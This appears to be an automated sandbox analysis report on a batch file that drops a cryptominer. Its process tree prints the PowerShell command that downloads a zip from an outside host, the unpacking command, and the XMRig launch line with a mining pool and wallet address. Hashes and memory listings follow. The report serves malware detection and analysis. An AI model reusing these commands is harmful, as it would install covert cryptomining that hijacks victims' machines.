Analysis

  • max time kernel
    1795s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-07-2023 14:09

General

  • Target

    tesy3.bat

  • Size

    700B

  • MD5

    185a2d7bf8c479e47ed8e1ef2cffe6a3

  • SHA1

    810436c92e9eb0c3ef0f6867e938b314f85f43c0

  • SHA256

    e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581

  • SHA512

    9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy3.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4540
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4340

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6c4805e00673bef922d51b1a7137028f

    SHA1

    0eabb38482d1733dd85a2af9c5342c2cafcd41eb

    SHA256

    7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

    SHA512

    eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4doomg3.b1b.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    bf4229c027030eeea0db49d10248181d

    SHA1

    4d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad

    SHA256

    25fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba

    SHA512

    204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    187B

    MD5

    afb477de9747aa1571a5525e94bf2a4f

    SHA1

    82ac5daaeacd7b0814725c7f01f5464b24e2e000

    SHA256

    43e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b

    SHA512

    7240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/3268-138-0x0000021CFCFA0000-0x0000021CFCFC2000-memory.dmp

    Filesize

    136KB

  • memory/3268-143-0x0000021CFC5E0000-0x0000021CFC5F0000-memory.dmp

    Filesize

    64KB

  • memory/3268-144-0x0000021CFC5E0000-0x0000021CFC5F0000-memory.dmp

    Filesize

    64KB

  • memory/4340-207-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-246-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-247-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-179-0x000001B3EBC50000-0x000001B3EBC70000-memory.dmp

    Filesize

    128KB

  • memory/4340-180-0x000001B3EBDB0000-0x000001B3EBDF0000-memory.dmp

    Filesize

    256KB

  • memory/4340-181-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-182-0x000001B3EBDF0000-0x000001B3EBE10000-memory.dmp

    Filesize

    128KB

  • memory/4340-183-0x000001B3EBE10000-0x000001B3EBE30000-memory.dmp

    Filesize

    128KB

  • memory/4340-184-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-186-0x000001B3EBE10000-0x000001B3EBE30000-memory.dmp

    Filesize

    128KB

  • memory/4340-185-0x000001B3EBDF0000-0x000001B3EBE10000-memory.dmp

    Filesize

    128KB

  • memory/4340-187-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-188-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-189-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-190-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-191-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-192-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-193-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-194-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-195-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-196-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-197-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-198-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-199-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-200-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-201-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-202-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-203-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-204-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-205-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-206-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-212-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-208-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-209-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-210-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-211-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-213-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-245-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-230-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-215-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-216-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-217-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-218-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-219-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-220-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-221-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-222-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-223-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-224-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-225-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-226-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-227-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-228-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-229-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-214-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-231-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-232-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-233-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-234-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-235-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-236-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-237-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-238-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-239-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-240-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-241-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-242-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-243-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4340-244-0x00007FF72B050000-0x00007FF72BB53000-memory.dmp

    Filesize

    11.0MB

  • memory/4540-159-0x000002C7A9320000-0x000002C7A9330000-memory.dmp

    Filesize

    64KB

  • memory/4540-160-0x000002C7A9320000-0x000002C7A9330000-memory.dmp

    Filesize

    64KB

  • memory/4540-161-0x000002C7A9320000-0x000002C7A9330000-memory.dmp

    Filesize

    64KB

  • memory/4540-162-0x000002C7C3A00000-0x000002C7C3A12000-memory.dmp

    Filesize

    72KB

  • memory/4540-163-0x000002C7A93C0000-0x000002C7A93CA000-memory.dmp

    Filesize

    40KB